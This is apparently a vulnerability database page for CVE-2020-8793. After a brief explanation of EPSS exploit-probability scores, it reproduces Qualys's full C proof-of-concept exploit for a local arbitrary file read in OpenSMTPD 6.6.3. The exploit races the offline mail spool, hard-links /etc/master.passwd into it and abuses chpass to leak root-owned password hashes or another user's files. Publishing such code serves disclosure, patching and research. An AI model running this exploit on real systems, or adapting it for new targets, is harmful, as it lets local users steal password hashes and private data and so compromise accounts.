CVE-2020-8793 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

# Title: OpenSMTPD 6.6.3 - Arbitrary File Read # Date: 2020-02-20 # Author: qualys # Vendor: https://www.opensmtpd.org/ # CVE: 2020-8793 /* * Local information disclosure in OpenSMTPD (CVE-2020-8793) * Copyright (C) 2020 Qualys, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ #include <sys/types.h> #include <sys/param.h> #include <sys/stat.h> #include <sys/sysctl.h> #include <sys/wait.h> #include <errno.h> #include <fcntl.h> #include <fts.h> #include <limits.h> #include <pwd.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define P_SUSPSIG 0x08000000 /* Stopped from signal. */ #define PATH_SPOOL "/var/spool/smtpd" #define PATH_OFFLINE "/offline" #define OFFLINE_QUEUEMAX 5 #define die() do { \ printf("died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) static const char * const * create_files(const size_t n_files) { size_t f; for (f = 0; f < n_files; f++) { char file[] = PATH_SPOOL PATH_OFFLINE "/0.XXXXXXXXXX"; const int fd = mkstemp(file); if (fd <= -1) die(); if (file[sizeof(file)-1] != '\0') die(); file[sizeof(file)-1] = '\n'; if (write(fd, file, sizeof(file)) != (ssize_t)sizeof(file)) die(); if (close(fd) != 0) die(); } const char ** const files = calloc(n_files, sizeof(char *)); if (files == NULL) die(); char * const paths[] = { PATH_SPOOL PATH_OFFLINE, NULL }; FTS * const fts = fts_open(paths, FTS_PHYSICAL | FTS_NOCHDIR, NULL); if (fts == NULL) die(); for (f = 0; ; ) { const FTSENT * const ent = fts_read(fts); if (ent == NULL) break; if (ent->fts_name[0] != '0') continue; if (ent->fts_name[1] != '.') continue; if (ent->fts_info != FTS_F) die(); if (ent->fts_level != 1) die(); if (ent->fts_statp->st_gid != ent->fts_parent->fts_statp->st_gid) die(); if (ent->fts_statp->st_size <= 0) die(); const char * const file = strdup(ent->fts_path); if (file == NULL) die(); if (f >= n_files) die(); files[f++] = file; } if (f != n_files) die(); if (fts_close(fts) != 0) die(); if (truncate(files[n_files - 1], 0) != 0) die(); return files; } static void wait_sentinel(const char * const * const files, const size_t n_files) { for (;;) { struct stat sb; if (lstat(files[n_files - 1], &sb) != 0) { if (errno != ENOENT) die(); return; } if (!S_ISREG(sb.st_mode)) die(); if (sb.st_size != 0) die(); } die(); } static void kill_wait(const pid_t pid) { if (kill(pid, SIGKILL) != 0) die(); int status = 0; if (waitpid(pid, &status, 0) != pid) die(); if (!WIFSIGNALED(status)) die(); if (WTERMSIG(status) != SIGKILL) die(); } typedef struct { int stop; pid_t pid; int fd; } t_stopper; static t_stopper fork_stopper(const uid_t uid) { const int stop = (uid == getuid()); int fds[2]; if (pipe(fds) != 0) die(); const pid_t pid = fork(); if (pid <= -1) die(); const int fd = fds[!pid]; if (close(fds[!!pid]) != 0) die(); if (pid != 0) { const t_stopper stopper = { .stop = stop, .pid = pid, .fd = fd }; return stopper; } int proc_mib[] = { CTL_KERN, KERN_PROC, KERN_PROC_RUID, uid, sizeof(struct kinfo_proc), 0 }; size_t proc_len = 0; if (sysctl(proc_mib, 6, NULL, &proc_len, NULL, 0) == -1) die(); if (proc_len <= 0) proc_len = sizeof(struct kinfo_proc); if (proc_len > ((size_t)1 << 20)) die(); const size_t proc_max = 0x10 * proc_len; void * const proc_buf = malloc(proc_max); if (proc_buf == NULL) die(); if (proc_mib[5] != 0) die(); proc_mib[5] = proc_max / sizeof(struct kinfo_proc); for (;;) { proc_len = proc_max; if (sysctl(proc_mib, 6, proc_buf, &proc_len, NULL, 0) == -1) die(); if (proc_len <= 0) { if (stop) die(); continue; } if (proc_len >= proc_max) die(); const struct kinfo_proc * kp; if (proc_len % sizeof(*kp) != 0) die(); for (kp = proc_buf; kp != proc_buf + proc_len; kp++) { if (*(const uint64_t *)kp->p_comm != *(const uint64_t *)"smtpctl") continue; if (kp->p_flag & P_SUSPSIG) continue; const pid_t pid = kp->p_pid; if (stop && kill(pid, SIGSTOP) != 0) continue; const int argv_mib[] = { CTL_KERN, KERN_PROC_ARGS, pid, KERN_PROC_ARGV }; static char argv_buf[ARG_MAX]; size_t argv_len = sizeof(argv_buf); if (sysctl(argv_mib, 4, argv_buf, &argv_len, NULL, 0) == -1) { continue; } if (argv_len <= sizeof(char *)) { if (stop) die(); continue; } if (argv_len >= sizeof(argv_buf)) die(); const char * const * const av = (const void *)argv_buf; size_t ac; for (ac = 0; av[ac] != NULL; ac++) { switch (ac) { case 0: if (strcmp(av[ac], "sendmail") != 0) die(); continue; case 1: if (strcmp(av[ac], "-S") != 0) die(); continue; case 2: if (stop) { if (strncmp(av[ac], PATH_SPOOL PATH_OFFLINE, sizeof(PATH_SPOOL PATH_OFFLINE)-1) != 0) die(); static const char ** stopped; static size_t i_stopped, n_stopped; size_t i; for (i = 0; i < i_stopped; i++) { if (strcmp(av[ac], stopped[i]) == 0) break; } if (i < i_stopped) break; if (i != i_stopped) die(); if (i_stopped >= n_stopped) { if (i_stopped != n_stopped) die(); if (n_stopped > ((size_t)1 << 20)) die(); n_stopped += ((size_t)1 << 10); stopped = reallocarray(stopped, n_stopped, sizeof(*stopped)); if (stopped == NULL) die(); } if (i_stopped >= n_stopped) die(); stopped[i_stopped] = strdup(av[ac]); if (stopped[i_stopped] == NULL) die(); i_stopped++; } const size_t len = strlen(av[ac]) + 1; if (write(fd, &pid, sizeof(pid)) != (ssize_t)sizeof(pid)) die(); if (write(fd, av[ac], len) != (ssize_t)len) die(); break; default: die(); } break; } } } die(); } static void kill_stopper(const t_stopper stopper) { kill_wait(stopper.pid); if (close(stopper.fd) != 0) die(); } typedef struct { int kill; pid_t pid; char * args; } t_stopped; static t_stopped wait_stopped(const t_stopper stopper) { pid_t pid = 0; if (read(stopper.fd, &pid, sizeof(pid)) != (ssize_t)sizeof(pid)) die(); if (pid <= 0) die(); static char buf[ARG_MAX]; size_t len = 0; for (;;) { if (len >= sizeof(buf)) die(); const ssize_t nbr = read(stopper.fd, buf + len, 1); if (nbr <= 0) die(); len += nbr; if (buf[len - 1] == '\0') break; } if (len <= 0) die(); if (memchr(buf, '\0', len) != buf + len - 1) die(); char * const args = strdup(buf); if (args == NULL) die(); const t_stopped stopped = { .kill = stopper.stop, .pid = pid, .args = args }; return stopped; } static void kill_free_stopped(const t_stopped stopped) { if (stopped.kill && kill(stopped.pid, SIGKILL) != 0) die(); free(stopped.args); } static void make_stopper_file(const char * const file) { const off_t file_size = (off_t)1 << 30; const off_t line_size = (off_t)1 << 20; struct stat sb; if (lstat(file, &sb) != 0) die(); if (!S_ISREG(sb.st_mode)) die(); if (sb.st_size <= 0) die(); if (sb.st_size >= line_size) { if (sb.st_size > file_size) return; die(); } const int fd = open(file, O_WRONLY | O_NOFOLLOW, 0); if (fd <= -1) die(); off_t l; for (l = 1; l <= file_size / line_size; l++) { if (lseek(fd, line_size, SEEK_END) <= l * line_size) die(); if (write(fd, "\n", 1) != 1) die(); } if (close(fd) != 0) die(); } static size_t find_stopped_file(const char * const * const files, const size_t n_files, const t_stopped stopped) { size_t f; for (f = 0; f < n_files; f++) { if (strcmp(files[f], stopped.args) == 0) { if (f >= n_files - 1) die(); return f; } } die(); } static void disclose_masterpasswd(const size_t n_files) { if (getuid() == 0) die(); const char * const * const files = create_files(n_files); size_t i; for (i = 0; i < n_files - 1; i++) { make_stopper_file(files[i]); } t_stopped queue_stopped[OFFLINE_QUEUEMAX]; size_t t = 0; size_t q; const t_stopper queue_stopper = fork_stopper(getuid()); puts("ready"); for (q = 0; q < OFFLINE_QUEUEMAX; q++) { queue_stopped[q] = wait_stopped(queue_stopper); const size_t f = find_stopped_file(files, n_files, queue_stopped[q]); printf("%zu (%zu)\n", f, q); if (f >= t) t = f + 1; } kill_stopper(queue_stopper); if (t < OFFLINE_QUEUEMAX) die(); if (t >= n_files - 1) die(); wait_sentinel(files, n_files); for (i = 0; i < n_files - 1; i++) { if (unlink(files[i]) != 0) die(); if (i < t) continue; if (link(_PATH_MASTERPASSWD, files[i]) != 0) die(); const pid_t pid = fork(); if (pid <= -1) die(); if (pid == 0) { char * const argv[] = { "/usr/bin/chpass", NULL }; char * const envp[] = { "EDITOR=echo '#' >>", NULL }; execve(argv[0], argv, envp); die(); } int status = 0; if (waitpid(pid, &status, 0) != pid) die(); if (!WIFEXITED(status)) die(); if (WEXITSTATUS(status) != 0) die(); struct stat sb; if (lstat(files[i], &sb) != 0) die(); if (!S_ISREG(sb.st_mode)) die(); if (sb.st_nlink != 1) die(); if (sb.st_uid != 0) die(); } const t_stopper target_dumper = fork_stopper(0); for (q = 0; q < OFFLINE_QUEUEMAX; q++) { kill_free_stopped(queue_stopped[q]); } const t_stopped target_dump = wait_stopped(target_dumper); puts(target_dump.args); kill_free_stopped(target_dump); kill_stopper(target_dumper); for (i = t; i < n_files - 1; i++) { if (unlink(files[i]) != 0) die(); } exit(EXIT_SUCCESS); } static void make_stopper_files(const char * const * const files, const size_t n_files, const size_t begin_stoppers, const size_t n_stoppers) { if (begin_stoppers >= n_files) die(); if (n_stoppers > OFFLINE_QUEUEMAX) die(); const size_t end_stoppers = begin_stoppers + 3 * n_stoppers; if (end_stoppers >= n_files) die(); size_t f; for (f = begin_stoppers; f < end_stoppers; f++) { make_stopper_file(files[f]); } } typedef struct { pid_t pid; int fd; } t_swapper; static t_swapper fork_swapper(const char * const target, const char * const file) { struct stat sb; if (lstat(target, &sb) != 0) die(); if (!S_ISREG(sb.st_mode)) die(); if (sb.st_nlink != 1) die(); int fds[2]; if (pipe(fds) != 0) die(); const pid_t pid = fork(); if (pid <= -1) die(); const int fd = fds[!pid]; if (close(fds[!!pid]) != 0) die(); if (pid != 0) { const t_swapper swapper = { .pid = pid, .fd = fd }; return swapper; } if (unlink(file) != 0) die(); if (write(fd, "A", 1) != 1) die(); for (;;) { if (link(target, file) != 0) die(); if (unlink(file) != 0) die(); } die(); } static void wait_swapper(const t_swapper swapper) { char buf[] = "whatever"; if (read(swapper.fd, buf, sizeof(buf)) != 1) die(); if (buf[0] != 'A') die(); } static void kill_swapper(const t_swapper swapper) { kill_wait(swapper.pid); if (close(swapper.fd) != 0) die(); } static void disclose_deadletter(const size_t n_files, const char * const target) { struct stat target_sb; if (target[0] != '/') die(); if (lstat(target, &target_sb) != 0) die(); if (!S_ISREG(target_sb.st_mode)) die(); if (target_sb.st_nlink != 1) die(); const uid_t target_uid = target_sb.st_uid; if (target_uid == getuid()) die(); const struct passwd * const target_pw = getpwuid(target_uid); if (target_pw == NULL) die(); static char deadletter[PATH_MAX]; snprintf(deadletter, sizeof(deadletter), "%s/dead.letter", target_pw->pw_dir); struct stat deadletter_sb; if (lstat(deadletter, &deadletter_sb) != 0) { if (errno != ENOENT) die(); memset(&deadletter_sb, 0, sizeof(deadletter_sb)); } const char * const * const files = create_files(n_files); make_stopper_files(files, n_files, 0, OFFLINE_QUEUEMAX); const t_stopper queue_stopper = fork_stopper(getuid()); puts("ready"); t_stopped queue_stopped[OFFLINE_QUEUEMAX]; size_t t = 0; size_t q; for (q = 0; q < OFFLINE_QUEUEMAX; q++) { queue_stopped[q] = wait_stopped(queue_stopper); const size_t f = find_stopped_file(files, n_files, queue_stopped[q]); printf("%zu (%zu)\n", f, q); if (f >= t) t = f + 1; } if (t < OFFLINE_QUEUEMAX) die(); if (t >= n_files - 1) die(); size_t i; for (i = 0; i < t; i++) { if (unlink(files[i]) != 0) die(); } wait_sentinel(files, n_files); const t_stopper target_dumper = fork_stopper(target_uid); for (;;) { make_stopper_files(files, n_files, t + 1, 1); const t_swapper swapper = fork_swapper(target, files[t]); wait_swapper(swapper); kill_free_stopped(queue_stopped[0]); queue_stopped[0] = wait_stopped(queue_stopper); kill_swapper(swapper); const size_t f = find_stopped_file(files, n_files, queue_stopped[0]); printf("%zu\n", f); if (f <= t) die(); for (i = t; i <= f; i++) { if (unlink(files[i]) != 0) { if (errno != ENOENT) die(); if (i != t) die(); } } t = f + 1; struct stat sb; if (lstat(deadletter, &sb) != 0) { if (errno != ENOENT) die(); memset(&sb, 0, sizeof(sb)); } if (memcmp(&sb, &deadletter_sb, sizeof(sb)) != 0) break; } kill_stopper(queue_stopper); const t_stopped target_dump = wait_stopped(target_dumper); puts(target_dump.args); kill_free_stopped(target_dump); kill_stopper(target_dumper); for (i = t; i < n_files - 1; i++) { if (unlink(files[i]) != 0) die(); } for (q = 0; q < OFFLINE_QUEUEMAX; q++) { kill_free_stopped(queue_stopped[q]); } char * const argv[] = { "/bin/ls", "-l", deadletter, NULL }; char * const envp[] = { NULL }; execve(argv[0], argv, envp); die(); } int main(const int argc, const char * const argv[]) { setlinebuf(stdout); puts("Local information disclosure in OpenSMTPD (CVE-2020-8793)"); puts("Copyright (C) 2020 Qualys, Inc."); if (argc <= 1) die(); const size_t n_files = strtoul(argv[1], NULL, 0); if (n_files <= OFFLINE_QUEUEMAX) die(); if (n_files > ((size_t)1 << 20)) die(); if (argc == 2) { disclose_masterpasswd(n_files); die(); } if (argc == 3) { disclose_deadletter(n_files, argv[2]); die(); } die(); }